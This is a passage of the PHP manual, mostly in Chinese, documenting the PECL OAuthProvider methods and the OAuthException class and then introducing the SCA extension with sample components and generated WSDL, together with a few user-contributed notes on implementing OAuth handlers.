OAuthProvider::calltokenHandler — 调用 tokenNonceHandler 回调函数

说明

public OAuthProvider::calltokenHandler ( void ) : void

调用注册的令牌句柄回调函数，此回调函数通过 OAuthProvider::tokenHandler() 设置。

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

没有返回值。

错误／异常

如回调函数无法被调用或未被指定，会引发一个 E_ERROR 级别的错误。

参见

  • OAuthProvider::tokenHandler() - 设置 tokenHandler 句柄回调函数

User Contributed Notes

There are no user contributed notes for this page.


检查一个 oauth 请求

  • ? OAuthProvider::calltokenHandler
  • OAuthProvider::__construct ?
  • PHP Manual
  • OAuthProvider
  • 检查一个 oauth 请求

OAuthProvider::checkOAuthRequest

(PECL OAuth >= 1.0.0)

OAuthProvider::checkOAuthRequest — 检查一个 oauth 请求

说明

public OAuthProvider::checkOAuthRequest ([ string $uri [, string $method ]] ) : void

检查一个 OAuth 请求。

Warning

本函数还未编写文档，仅有参数列表。

参数

uri

可选的 URI 或终点。

method

HTTP 方法。 可选 OAUTH_HTTP_METHOD_* OAuth 常量 其中之一传递。

返回值

没有返回值。

错误／异常

如果不能检测到 HTTP 方法，则发出一个 E_ERROR 级别的错误。

参见

  • OAuthProvider::reportProblem() - 报告问题

User Contributed Notes

tim at timlytle dot net 17-Oct-2013 01:30
Seems this method can only be called once per instance (or gives the same result as the first call on repeat calls).

My use case is API endpoints that can be accessed by a user or with 2 legged auth. If normal oAuth failed, I was calling is2LeggedEndpoint(true) and running again.

For that to work the OAuth Provider needs to be created again, simply changing one of the flags seems to have no effect on the next call.
Lyuben Penkovski (l_penkovski at yahoo dot com) 23-Aug-2010 03:59
This function checks if OAuth request is valid and signed correctly.

$provider->checkOAuthRequest();

It does this by first calling timestampNonceHandler and expects result OAUHT_OK from it. If the result is different, an exception is thrown. It's up to you to write the code that checks timestamp/nonce combinations.

Secondly, it calls consumerHandler and expects your code in the consumerHandler function to set $provider->consumer_secret to the correct value (you should take it from your consumer storage location where it's saved with consumer key). If $provider->consumer_secret is not set, or is not set with the proper value an exception is thrown. Proper value means that it should be the same consumer key that was used to sign the request by the consumer before sending it to here (the provider). Again expected result from this function is OAUTH_OK or some OAUTH error code if you want to throw exception.

Third, it calls tokenHandler, but only WHEN you are requesting ACCESS token or requesting protected data with authorized ACCESS TOKEN. In order for the provider to call tokenHandler, before a call to the checkOAuthRequest function is made, the provider should call the method that says that this is not a request token endpoint (this is access token endpoint):

$provider->isRequestTokenEndpoint (false);
$provider->checkOAuthRequest();

Again here OAuthProvider is expecting your code in the tokenHandler to set $provider->token_secret to the correct value (you should take it from your token storage place) because during the signing process it uses CONSUMER SECRET (for request token) and CONSUMER SECRET AND TOKEN SECRET (for access token and fetch of protected data) to sign the request.

After these 3 handler functions are called and return good results (OAUTH_OK) and set the values of the required fields $provider->consumer_secret and $provider->token_secret, then the checkOAuthRequest function signs the request. If something goes wrong, it throws exception, otherwise there comes the place for your code to proceed and handle the request:

- you can create request token (if it's a first request for request token)
- you can create access token (if it's a request for access token)
- you can return protected data to the consumer (if it's a request to fetch protected data)

This is how the functions in my code look like, however please have in mind that I've just implemented it and it's possible that I have something missed or forgotten, but generally I think the idea should be clear:

$this->dbModel is the object for working with database and save/retrieve token and consumer data

<?php

public function timestampNonceHandler ( $provider )
{
    return $this->dbModel->checkTimestampNonce ( $provider->consumer_key,
                                                 $provider->token,
                                                 $provider->timestamp,
                                                 $provider->nonce );
}

public function consumerHandler ( $provider )
{
    $consumer = $this->dbModel->getConsumerSecrets ($provider->consumer_key);

    if($consumer['consumer_key'] != $provider->consumer_key)
    {
        return OAUTH_CONSUMER_KEY_UNKNOWN;
    }

    if( (int)$consumer['disabled'] != 0 )
    {
        return OAUTH_CONSUMER_KEY_REFUSED;
    }

    $provider->consumer_id = $consumer['consumer_id']; # this is not required by OAuthProvider but I use it later in tokenHandler
    $provider->consumer_secret = $consumer['consumer_secret']; # this is REQUIRED

    return OAUTH_OK;
}

public function tokenHandler ( $provider )
{
    $token = $this->dbModel->getToken( $provider->token );

    if( time() > $token['expire'] )
    {
        return OAUTH_TOKEN_EXPIRED;
    }

    if($token['consumer_id'] != $provider->consumer_id)
    {
        return OAUTH_TOKEN_REJECTED;
    }

    if( (int)$token['authorized'] == 0 )
    {
        return OAUTH_TOKEN_REJECTED;
    }

    if($token['token_type'] != 'access')
    {
        if($token['verifier'] != $provider->verifier)
            return OAUTH_VERIFIER_INVALID;
    }

    $provider->token_id = $token['token_id']; # not required to be set by OAuthProvider
    $provider->token_secret = $token['token_secret']; # this is REQUIRED

    return OAUTH_OK;
}

?>


新建一个 OAuthProvider 对象

  • ? OAuthProvider::checkOAuthRequest
  • OAuthProvider::consumerHandler ?
  • PHP Manual
  • OAuthProvider
  • 新建一个 OAuthProvider 对象

OAuthProvider::__construct

(PECL OAuth >= 1.0.0)

OAuthProvider::__construct — 新建一个 OAuthProvider 对象

说明

public OAuthProvider::__construct ([ array $params_array ] )

发起一个新的 OAuthProvider 对象。

Warning

本函数还未编写文档，仅有参数列表。

参数

params_array

设置限制 CLI SAPI 的可选参数。

返回值

返回一个 OAuthProvider 对象。

范例

Example #1 OAuthProvider::__construct() 例子

<?php
try {

    $op = new OAuthProvider();

    // 使用用户定义的回调函数
    $op->consumerHandler(array($this, 'lookupConsumer'));
    $op->timestampNonceHandler(array($this, 'timestampNonceChecker'));
    $op->tokenHandler(array($this, 'myTokenHandler'));

    // 忽略 foo_uri 参数
    $op->setParam('foo_uri', NULL);

    // 对于终点不需要令牌
    $op->setRequestTokenPath('/v1/oauth/request_token');

    $op->checkOAuthRequest();

} catch (OAuthException $e) {

    echo OAuthProvider::reportProblem($e);
}
?>

参见

  • OAuthProvider::setParam() - 设置一个参数

User Contributed Notes

There are no user contributed notes for this page.


设置 consumerHandler 句柄回调函数

  • ? OAuthProvider::__construct
  • OAuthProvider::generateToken ?
  • PHP Manual
  • OAuthProvider
  • 设置 consumerHandler 句柄回调函数

OAuthProvider::consumerHandler

(PECL OAuth >= 1.0.0)

OAuthProvider::consumerHandler — 设置 consumerHandler 句柄回调函数

说明

public OAuthProvider::consumerHandler ( callable $callback_function ) : void

设置消费者句柄回调函数，并将在后面通过 OAuthProvider::callConsumerHandler() 被调用。

Warning

本函数还未编写文档，仅有参数列表。

参数

callback_function

回调类型 函数名。

返回值

没有返回值。

范例

Example #1 OAuthProvider::consumerHandler() 回调的例子

<?php
function lookupConsumer($provider) {

    if ($provider->consumer_key === 'unknown') {
        return OAUTH_CONSUMER_KEY_UNKNOWN;
    } else if($provider->consumer_key == 'blacklisted' || $provider->consumer_key === 'throttled') {
        return OAUTH_CONSUMER_KEY_REFUSED;
    }

    $provider->consumer_secret = "the_consumers_secret";

    return OAUTH_OK;
}
?>

参见

  • OAuthProvider::callConsumerHandler() - 调用 consumerNonceHandler 回调函数

User Contributed Notes

There are no user contributed notes for this page.


生成一个随机令牌

  • ? OAuthProvider::consumerHandler
  • OAuthProvider::is2LeggedEndpoint ?
  • PHP Manual
  • OAuthProvider
  • 生成一个随机令牌

OAuthProvider::generateToken

(PECL OAuth >= 1.0.0)

OAuthProvider::generateToken — 生成一个随机令牌

说明

final public static OAuthProvider::generateToken ( int $size [, bool $strong = false ] ) : string

生成一个伪随机字节的 字符串 。

参数

size

想要的令牌长度，单位为字节。

strong

设置为 TRUE 则意味着将对熵使用 /dev/random ，否则使用非阻塞的 /dev/urandom。在 Windows 平台将忽略此参数。

返回值

生成的令牌，一个以字节为单位的 字符串 。

错误／异常

如果 strong 参数为 TRUE ， 则当回退到用 rand() 来实现填充剩余的随机字节的时候，将触发一个 E_WARNING 级别的错误（比如，当最初找不到足够的随机数据的时候）。

范例

Example #1 OAuthProvider::generateToken() 例子

<?php
$p = new OAuthProvider();

$t = $p->generateToken(4);

echo strlen($t),  PHP_EOL;
echo bin2hex($t), PHP_EOL;

?>

以上例程的输出类似于：

4
b6a82c27

注释

Note:

当系统没有足够的随机数据可用的时候，此函数将使用 PHP 内部的 rand() 来实现填充剩余的随机字节。

参见

  • openssl_random_pseudo_bytes() - 生成一个伪随机字节串
  • mcrypt_create_iv() - 从随机源创建初始向量

User Contributed Notes

carlosouza at me dot com 28-Mar-2012 02:32
Be careful when setting the 'strong' parameter to true.

If you system doesn't have enough entropy your script will block which can cause timeouts in other parts of your code.

In my case, the most serious symptom was my script blocking when trying to read from /dev/random and causing a 'MySQL has gone away' error.

Hopefully this saves someone the trouble when deciding to use /dev/random entropy


is2LeggedEndpoint

  • ? OAuthProvider::generateToken
  • OAuthProvider::isRequestTokenEndpoint ?
  • PHP Manual
  • OAuthProvider
  • is2LeggedEndpoint

OAuthProvider::is2LeggedEndpoint

(PECL OAuth >= 1.0.0)

OAuthProvider::is2LeggedEndpoint — is2LeggedEndpoint

说明

public OAuthProvider::is2LeggedEndpoint ( mixed $params_array ) : void

2-legged 流程，或请求签名。不需要令牌。

Warning

本函数还未编写文档，仅有参数列表。

参数

params_array

返回值

返回一个 OAuthProvider 对象.

范例

Example #1 OAuthProvider::is2LeggedEndpoint() 例子

<?php

$provider = new OAuthProvider();

$provider->is2LeggedEndpoint(true);

?>

参见

  • OAuthProvider::__construct() - 新建一个 OAuthProvider 对象

User Contributed Notes

There are no user contributed notes for this page.


设置 isRequestTokenEndpoint

  • ? OAuthProvider::is2LeggedEndpoint
  • OAuthProvider::removeRequiredParameter ?
  • PHP Manual
  • OAuthProvider
  • 设置 isRequestTokenEndpoint

OAuthProvider::isRequestTokenEndpoint

(PECL OAuth >= 1.0.0)

OAuthProvider::isRequestTokenEndpoint — 设置 isRequestTokenEndpoint

说明

public OAuthProvider::isRequestTokenEndpoint ( bool $will_issue_request_token ) : void

Warning

本函数还未编写文档，仅有参数列表。

参数

will_issue_request_token

设置是否发布一个请求令牌，从而决定 OAuthProvider::tokenHandler() 是否需要被调用。

返回值

没有返回值。

参见

  • OAuthProvider::setRequestTokenPath() - 设置请求令牌路径
  • OAuthProvider::reportProblem() - 报告问题

User Contributed Notes

There are no user contributed notes for this page.


移除一个必需的参数

  • ? OAuthProvider::isRequestTokenEndpoint
  • OAuthProvider::reportProblem ?
  • PHP Manual
  • OAuthProvider
  • 移除一个必需的参数

OAuthProvider::removeRequiredParameter

(PECL OAuth >= 1.0.0)

OAuthProvider::removeRequiredParameter — 移除一个必需的参数

说明

final public OAuthProvider::removeRequiredParameter ( string $req_params ) : bool

移除一个必需的参数。

Warning

本函数还未编写文档，仅有参数列表。

参数

req_params

要被移除的必需参数。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • OAuthProvider::setParam() - 设置一个参数
  • OAuthProvider::addRequiredParameter() - 添加必需的参数

User Contributed Notes

There are no user contributed notes for this page.


报告问题

  • ? OAuthProvider::removeRequiredParameter
  • OAuthProvider::setParam ?
  • PHP Manual
  • OAuthProvider
  • 报告问题

OAuthProvider::reportProblem

(PECL OAuth >= 1.0.0)

OAuthProvider::reportProblem — 报告问题

说明

final public static OAuthProvider::reportProblem ( string $oauthexception [, bool $send_headers = true ] ) : string

将问题作为一个 OAuthException 异常传入，可能出现的问题在 OAuth 常量 章节里已列出。

Warning

本函数还未编写文档，仅有参数列表。

参数

oauthexception

OAuthException 类。

返回值

没有返回值。

参见

  • OAuthProvider::checkOAuthRequest() - 检查一个 oauth 请求
  • OAuthProvider::isRequestTokenEndpoint() - 设置 isRequestTokenEndpoint

User Contributed Notes

There are no user contributed notes for this page.


设置一个参数

  • ? OAuthProvider::reportProblem
  • OAuthProvider::setRequestTokenPath ?
  • PHP Manual
  • OAuthProvider
  • 设置一个参数

OAuthProvider::setParam

(PECL OAuth >= 1.0.0)

OAuthProvider::setParam — 设置一个参数

说明

final public OAuthProvider::setParam ( string $param_key [, mixed $param_val ] ) : bool

设置一个参数。

Warning

本函数还未编写文档，仅有参数列表。

参数

param_key

参数的 key 。

param_val

参数的值，此为可选项。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

参见

  • OAuthProvider::addRequiredParameter() - 添加必需的参数

User Contributed Notes

There are no user contributed notes for this page.


设置请求令牌路径

  • ? OAuthProvider::setParam
  • OAuthProvider::timestampNonceHandler ?
  • PHP Manual
  • OAuthProvider
  • 设置请求令牌路径

OAuthProvider::setRequestTokenPath

(PECL OAuth >= 1.0.0)

OAuthProvider::setRequestTokenPath — 设置请求令牌路径

说明

final public OAuthProvider::setRequestTokenPath ( string $path ) : bool

设置请求令牌路径。

Warning

本函数还未编写文档，仅有参数列表。

参数

path

路径。

返回值

TRUE

参见

  • OAuthProvider::tokenHandler() - 设置 tokenHandler 句柄回调函数

User Contributed Notes

There are no user contributed notes for this page.


设置 timestampNonceHandler 句柄回调函数

  • ? OAuthProvider::setRequestTokenPath
  • OAuthProvider::tokenHandler ?
  • PHP Manual
  • OAuthProvider
  • 设置 timestampNonceHandler 句柄回调函数

OAuthProvider::timestampNonceHandler

(PECL OAuth >= 1.0.0)

OAuthProvider::timestampNonceHandler — 设置 timestampNonceHandler 句柄回调函数

说明

public OAuthProvider::timestampNonceHandler ( callable $callback_function ) : void

设置时间戳 nonce 句柄回调函数，此函数将在后面被 OAuthProvider::callTimestampNonceHandler() 调用。跟时间戳/nonce相关的错误将被抛给此回调函数。

Warning

本函数还未编写文档，仅有参数列表。

参数

callback_function

回调类型 的函数名。

返回值

没有返回值。

范例

Example #1 OAuthProvider::timestampNonceHandler() 回调的例子

<?php
function timestampNonceChecker($provider) {

    if ($provider->nonce === 'bad') {
        return OAUTH_BAD_NONCE;
    } elseif ($provider->timestamp == '0') {
        return OAUTH_BAD_TIMESTAMP;
    }

    return OAUTH_OK;
}
?>

参见

  • OAuthProvider::callTimestampNonceHandler() - 调用 timestampNonceHandler 回调函数

User Contributed Notes

There are no user contributed notes for this page.


设置 tokenHandler 句柄回调函数

  • ? OAuthProvider::timestampNonceHandler
  • OAuthException ?
  • PHP Manual
  • OAuthProvider
  • 设置 tokenHandler 句柄回调函数

OAuthProvider::tokenHandler

(PECL OAuth >= 1.0.0)

OAuthProvider::tokenHandler — 设置 tokenHandler 句柄回调函数

说明

public OAuthProvider::tokenHandler ( callable $callback_function ) : void

设置令牌句柄的回调函数，此回调函数将在后面被 OAuthProvider::callTokenHandler() 调用。

Warning

本函数还未编写文档，仅有参数列表。

参数

callback_function

回调类型 的函数名。

返回值

没有返回值。

范例

Example #1 OAuthProvider::tokenHandler() 回调的例子

<?php
function tokenHandler($provider) {

    if ($provider->token === 'rejected') {
        return OAUTH_TOKEN_REJECTED;
    } elseif ($provider->token === 'revoked') {
        return OAUTH_TOKEN_REVOKED;
    }

    $provider->token_secret = "the_tokens_secret";
    return OAUTH_OK;
}
?>

参见

  • OAuthProvider::callTokenHandler() - 调用 tokenNonceHandler 回调函数

User Contributed Notes

There are no user contributed notes for this page.


OAuthException 类

(PECL OAuth >= 0.99.1)

简介

当使用 OAuth 扩展发生异常错误时，抛出此异常和包含了一些有用的调试信息。

类摘要

OAuthException extends Exception {
/* 属性 */
public $lastResponse ;
public $debugInfo ;
/* 继承的属性 */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* 继承的方法 */
final public Exception::getMessage ( void ) : string
final public Exception::getPrevious ( void ) : Throwable
final public Exception::getCode ( void ) : int
final public Exception::getFile ( void ) : string
final public Exception::getLine ( void ) : int
final public Exception::getTrace ( void ) : array
final public Exception::getTraceAsString ( void ) : string
public Exception::__toString ( void ) : string
final private Exception::__clone ( void ) : void
}

属性

lastResponse

发生异常时的响应，如果有的话

debugInfo

User Contributed Notes

There are no user contributed notes for this page.


SCA

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 范例
    • The structure of a Service Component
    • Obtaining a proxy for another Service Component
    • Calling another Service Component
    • Locating and calling services from a script which is not an SCA Component
    • Exposing a Service Component as a Web service
    • Deploying an SCA component
    • Obtaining the WSDL for an SCA component offering a Service as a Web service
    • Understanding how the WSDL is generated
    • Working with Data Structures
    • Error handling
  • SCA 函数
    • SCA::createDataObject — Create an SDO
    • SCA::getService — Obtain a proxy for a service
    • SCA_LocalProxy::createDataObject — Create an SDO
    • SCA_SoapProxy::createDataObject — Create an SDO

User Contributed Notes

There are no user contributed notes for this page.


简介

Warning

此扩展是实验性 的。 此扩展的表象，包括其函数名称以及其他此扩展的相关文档都可能在未来的 PHP 发布版本中未通知就被修改。使用本扩展风险自担 。

SCA for PHP makes it possible for a PHP programmer to write reusable components, which can be called in a variety of ways, with an identical interface and with a minimum of fuss. At present components can call each other either locally or via Web services, but in the future it is expected that other ways will be possible. It provides the programmer with a way of doing this which will look as natural as possible in PHP.

SCA components use phpDocumentor-style (see http://www.phpdoc.org/) annotations to declare dependencies on other SCA components or Web services. The SCA for PHP runtime resolves these dependencies at runtime on behalf of the components, and thus allows the PHP programmer to focus on the business logic rather than on locating and obtaining references to dependencies.

The SCA for PHP programming model can be extended to support a number of service types, such as REST and Atompub. However, Web services (more accurately, WSDL defined, SOAP/HTTP services), are the only type currently specified.

Components also use annotations to define the interface which they expose as a service. The SCA for PHP runtime will automatically generate WSDL from these annotations, so that an SCA component is easily exposed as a web service. These annotations are a natural extension to those provided by phpDocumentor. Deploying a Web service can be as simple as placing a PHP component under the document root of a web server.

Components also use annotations to specify data structures (expressed using XML schema complex types) which are then handled using Service Data Objects (SDOs).

A PHP script which is not an SCA component and which contains no annotations can use the services of an SCA component. A PHP script or component can make calls to a web service that is not an SCA component, but using the same system of calls or annotations to obtain a reference.

First we show a single SCA component, ConvertedStockQuote which illustrates many of the features of SCA for PHP. It has one method, getQuote(), which given a stock "ticker" obtains a price quote for that stock, converted to a given currency. We shall be using this example as a basis for explaining the SCA for PHP throughout the rest of this document.

Example #1 A sample SCA component

<?php

include "SCA/SCA.php";

/**
 * Calculate a stock price for a given ticker symbol in a given currency.
 *
 * @service
 * @binding.soap
 */
class ConvertedStockQuote {

    /**
     * The currency exchange rate service to use.
     *
     * @reference
     * @binding.php ../ExchangeRate/ExchangeRate.php
     */
    public $exchange_rate;

    /**
     * The stock quote service to use.
     *
     * @reference
     * @binding.soap ../StockQuote/StockQuote.wsdl
     */
    public $stock_quote;

    /**
     * Get a stock quote for a given ticker symbol in a given currency.
     *
     * @param string $ticker The ticker symbol.
     * @param string $currency What currency to convert the value to.
     * @return float The stock value is the target currency.
     */
    function getQuote($ticker, $currency)
    {
        $quote  = $this->stock_quote->getQuote($ticker);
        $rate   = $this->exchange_rate->getRate($currency);
        return  $rate * $quote;
    }
}
?>

In this example, we see that an SCA component is implemented by a script containing a PHP class and includes SCA.php. The class contains a mixture of business logic and references to other components or services. In the illustrated getQuote() method there is only business logic, but it relies on the instance variables $stock_quote and $exchange_rate having been initialized. These refer to two other components and will be initialized by the SCA runtime with proxies for these two services, whenever this component executes. The annotations for these two services show one to be a local component, which will be called within the same PHP runtime, and one to be a remote component which will be called via a SOAP request. This component also exposes the getQuote() method both locally and as a web service, so it in turn can be called either locally or remotely.

User Contributed Notes

There are no user contributed notes for this page.


需求

If you want to use SCA to consume or produce Web services then you need PHP 5.2.0 or later, built with the soap extension enabled. If you just want to use local components, and do not wish to use the Web service bindings, then this version of SCA for PHP will also run with PHP 5.1.6.

SCA is packaged along with SDO in one combined package on PECL. See http://www.php.net/sdo#sdo.installation for installing the SCA_SDO package from PECL. The SCA code must be on the include path of your PHP installation, for example if it is installed as /usr/local/lib/php/SCA, the include_path directive must include /usr/local/lib/php

User Contributed Notes

There are no user contributed notes for this page.


安装

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/sca.

PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

User Contributed Notes

There are no user contributed notes for this page.


范例

Table of Contents

  • The structure of a Service Component
  • Obtaining a proxy for another Service Component
  • Calling another Service Component
  • Locating and calling services from a script which is not an SCA Component
  • Exposing a Service Component as a Web service
  • Deploying an SCA component
  • Obtaining the WSDL for an SCA component offering a Service as a Web service
  • Understanding how the WSDL is generated
  • Working with Data Structures
  • Error handling

The examples in the subsequent sections illustrate the following aspects of PHP for SCA:

  • How PHP annotations are used to define PHP classes as SCA components, and how annotations are used to define the services.

  • How an SCA component can be exposed as a Web service

  • How an SCA component can consume a Web service, whether provided by another SCA component or by some other service which knows nothing of SCA

  • How an SCA component can call another SCA component locally (within the same process and on the same call stack)

  • How a client script which is not an SCA component can use the getService call to obtain a proxy for an SCA component.

  • How data structures such as Addresses, or Puchase Orders, are represented as Service Data Objects, and handled.

  • How SCA components are deployed, and in particular how and when WSDL is generated for a service.

  • How parameters are always passed by value (and not by reference) between components, even when the calls are local. This ensures that the semantics of a call do not change depending on the location of a component.

  • How positional parameters to a service are supported, even when the underlying WSDL is document literal wrapped, and naturally supports only named parameters.

  • How business and runtime exceptions are handled.

User Contributed Notes

There are no user contributed notes for this page.


The structure of a Service Component

A service component is implemented by a class. To identify it as a service component, it contains an @service annotation. The SCA runtime will use the file name of the script to determine the component name, by convention. The class and script file must therefore share the same name.

PHP SCA components always expose a service, and there is no way for a component to be invoked other than to be called as a result of a Web service request, or called directly from another component or from a script. For this reason a valid PHP SCA component will always contain an @service annotation and at least one public method.

Each SCA Component requires that the SCA.php script is included. As well as containing the definition of the SCA class, this script contains executable PHP code that will run whenever the script is called, and which will be responsible for making the component behave as needed.

Caution

It is very important that if your file contains other includes, they come before the include for SCA.php. If there are includes after the include for SCA.php, they will not have been processed when the SCA runtime runs your class.

The example below illustrates this overall structure

Example #1 The structure of an SCA for PHP component

<?php

// any includes

include "SCA/SCA.php";

/**
 * @service
 */

class ConvertedStockQuote {

       // instance variables, business logic, including at least one public method

}
?>

User Contributed Notes

There are no user contributed notes for this page.


Obtaining a proxy for another Service Component

One SCA component can call the service provided by another SCA component. The service a component provides is made up of all of its public methods. SCA for PHP currently provides two ways for one component to call another: either locally (i.e. within the same PHP run-time, and on the same call stack) or remotely if the called component exposes a Web service binding.

In order for one component to call another, the calling component needs a proxy for the called component. This proxy is usually provided as an instance variable in the calling component, though proxies can also be obtained with the SCA::getService() call, as we shall see later. When a component is constructed, proxies are constructed for any instance variable which refer to another component, and these proxies are "injected" into the instance variables. Proxies are always used, whether the component is local or remote, in order to provide identical calling behavior between remote and local calls (for example, local calls are made to always pass data by-value). The proxies know how to locate the required component and to pass the calls made on to them.

Instance variables which are intended to hold proxies for services are indicated by the two PHPDocumentor-style annotations, @reference and @binding. Both annotations are placed in the documentation section for a class instance variable, as shown by the code below.

The @reference annotation before an instance variable indicates that the instance variable is to be initialized with a proxy to a component.

The @binding annotation has two forms @binding.php and @binding.soap, and indicates that the proxy is either for a local component or for a Web service respectively. For both @binding.php and @binding.soap, the annotation gives a target URI.

At the moment, with the annotation-based method of specifying dependencies, the only way to alter the intended target of a reference is to alter the annotation within the component.

In our ConvertedStockQuote example, the $exchange_rate instance variable will be initialized with a proxy to the local ExchangeRate component whenever an instance of the ConvertedStockQuote is constructed.

Example #1 Obtaining a proxy for a local PHP class

<?php
   /**
     * The currency exchange rate service to use.
     *
     * @reference
     * @binding.php ../ExchangeRate/ExchangeRate.php
     */
    public $exchange_rate;
?>

For @binding.php, the URI identifies the location of the script containing the implementation of the component. The component will be called locally. The service provided is the set of public methods of the component. The URI must be a simple pathname, either absolute or relative. The component will be loaded with the PHP include directive, after testing to see if it is already loaded with class_exists(). If the URI is a relative path, it is resolved relative to the component containing the annotation. Note that this is different from the normal PHP behaviour where scripts would be looked for along the PHP include_path, This is intended to provide some location-independence for cross-component references.

If this ExchangeRate service were remote and to be called as a Web service, only the @binding line changes. Instead of giving the location of a PHP class, it gives the location of the WSDL describing the web service. In our example component, this is illustrated by the second reference:

Example #2 Obtaining a proxy for a web service

<?php
/**
     * The stock quote service to use.
     *
     * @reference
     * @binding.soap ../StockQuote/StockQuote.wsdl
     */
    public $stock_quote;
?>

The StockQuote component will be called via a Web service request. In this case the URI for the WSDL can be a simple pathname, or may contain a PHP wrapper and begin, for example, with file:// or http://. In the event that it is a simple pathname, it can be absolute or relative, and if relative will be resolved relative to the component containing the annotation. Note that this is like the behaviour for @binding.php, and different from the normal PHP behaviour where the file would be looked for relative to the PHP current working directory, which would usually be the location of the first script to be called. This behaviour is intended to give consistency across the different bindings and to provide some location-independence for references between components.

User Contributed Notes

There are no user contributed notes for this page.


Calling another Service Component

The ConvertedStockQuote example also calls the proxies for the two components to which it refers.

Example #1 Calling services

<?php
$quote  = $this->stock_quote->getQuote($ticker);
$rate   = $this->exchange_rate->getRate($currency);
?>

The call to the StockQuote service is a call to a local service; the call to the ExchangeRate service is a call to a remote service. Note that the way the call is made looks the same regardless of whether the call is to a local service or a remote one.

The proxies which have been injected ensure that the way calls to components look and behave are the same way regardless of whether they are to a local or remote service, so that components are not sensitive to whether a call is to a local or a remote service. For example, the proxy for a local service takes copies of the arguments and passes only those copies, to ensure that calls are made to be pass-by-value, as they would be for a remote call. Also, the proxy for a remote service takes the arguments from a positional parameter list and ensures they are packaged properly in a SOAP request and converted back to a positional parameter list at the far end.

In the example above, the $ticker and $currency are clearly PHP scalar types. Components can pass the PHP scalar types string, integer, float and boolean, but data structures on service calls are always passed as Service Data Objects (SDOs). A later section describes how a component can create an SDO to pass on a local or Web service call, or how a component can create an SDO to return. The PHP SDO project documentation describes how to work with the SDO APIs (see the SDO pages).

User Contributed Notes

There are no user contributed notes for this page.


Locating and calling services from a script which is not an SCA Component

SCA components obtain proxies for other components or services as instance variables annotated with @reference, but this is not possible for a script that is not itself also a component. A client script which is not a component must use the SCA::getService() static method to obtain a proxy for a service, whether local or remote. The getService() method takes a URI as the argument. Typically this is the location of a local PHP script containing a component, or of a wsdl file, and is used in exactly the same way as the targets of the @binding annotations described in the previous section: that is, relative URIs are resolved against the location of the client script and not against the PHP include_path or current working directory.

For example, a script that needed to obtain proxies for the ExchangeRate and StockQuote services but was not a component would use the getService() method as follows:

Example #1 Obtaining a proxy using getService

<?php
$exchange_rate = SCA::getService('../ExchangeRate/ExchangeRate.php');
$stock_quote   = SCA::getService('../StockQuote/StockQuote.wsdl');
?>

Methods on services can then be called on the returned proxy, just as they can in a component.

Example #2 Making calls on the proxy

<?php
$quote  = $stock_quote->getQuote($ticker);
$rate   = $exchange_rate->getRate($currency);
?>

User Contributed Notes

There are no user contributed notes for this page.


Exposing a Service Component as a Web service

SCA for PHP can generate WSDL from the annotations within a service component, so that it can be easily deployed and exposed as a Web service. To provide SCA with the information it needs to generate the WSDL, it is necessary to add the annotation @binding.soap under the @service annotation and to specify the parameters and return values of the methods using the @param and @return annotations. These annotations will be read when WSDL is generated, and the order and types of the parameters determine the contents of the <schema> section of the WSDL.

SCA for PHP always generates document/literal wrapped WSDL for components that are exposing a Web service. Note that this does not stop components from consuming Web services which are not SCA components and which are documented with WSDL written in a different style.

The scalar types which can be used in the @param annotation are the four common PHP scalar types: boolean, integer, float and string. These are simply mapped to the XML schema types of the same name in the WSDL. The example below, which is a trivial implementation of the StockQuote service that the ConvertedStockQuote component calls, illustrates string and float types.

Example #1 StockQuote Service

<?php

include "SCA/SCA.php";

/**
 * Scaffold implementation for a remote StockQuote Web service.
 *
 * @service
 * @binding.soap
 *
 */
class StockQuote {

    /**
     * Get a stock quote for a given ticker symbol.
     *
     * @param string $ticker The ticker symbol.
     * @return float The stock quote.
     */
    function getQuote($ticker) {
        return 80.9;
  }
}
?>

WSDL much like the following (though with a service location other than 'localhost', probably) would be generated from this service:

Example #2 Generated WSDL

<?xml version="1.0" encoding="UTF-8"?>
<definitions xmlns="http://schemas.xmlsoap.org/wsdl/" xsi:type="tDefinitions"
    xmlns:tns2="http://StockQuote" xmlns:tns="http://schemas.xmlsoap.org/wsdl/"
    xmlns:tns3="http://schemas.xmlsoap.org/wsdl/soap/"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" targetNamespace="http://StockQuote">
  <types>
    <xs:schema xmlns:xs="http://www.w3.org/2001/XMLSchema"
      targetNamespace="http://StockQuote">
      <xs:element name="getQuote">
        <xs:complexType>
          <xs:sequence>
            <xs:element name="ticker" type="xs:string"/>
          </xs:sequence>
        </xs:complexType>
      </xs:element>
      <xs:element name="getQuoteResponse">
        <xs:complexType>
          <xs:sequence>
            <xs:element name="getQuoteReturn" type="xs:float"/>
          </xs:sequence>
        </xs:complexType>
      </xs:element>
    </xs:schema>
  </types>

  <message name="getQuoteRequest">
    <part name="getQuoteRequest" element="tns2:getQuote"/>
  </message>
  <message name="getQuoteResponse">
    <part name="return" element="tns2:getQuoteResponse"/>
  </message>
  <portType name="StockQuotePortType">
    <operation name="getQuote">
      <input message="tns2:getQuoteRequest"/>
      <output message="tns2:getQuoteResponse"/>
    </operation>
  </portType>
  <binding name="StockQuoteBinding" type="tns2:StockQuotePortType">
    <operation name="getQuote">
      <input>
        <tns3:body xsi:type="tBody" use="literal"/>
      </input>
      <output>
        <tns3:body xsi:type="tBody" use="literal"/>
      </output>
      <tns3:operation xsi:type="tOperation" soapAction=""/>
    </operation>
    <tns3:binding xsi:type="tBinding" transport="http://schemas.xmlsoap.org/soap/http" style="document"/>
  </binding>
  <service name="StockQuoteService">
    <port name="StockQuotePort" binding="tns2:StockQuoteBinding">
      <tns3:address xsi:type="tAddress" location="http://localhost/StockQuote/StockQuote.php"/>
    </port>
  </service>
</definitions>

<!-- this line identifies this file as WSDL generated by SCA for PHP. Do not remove -->

User Contributed Notes

deadguysfrom at gmail dot com 31-Jul-2009 11:44
In order for SCA to find the service class, the script filename must match the service class name.  In this case, StockQuote.php


Deploying an SCA component

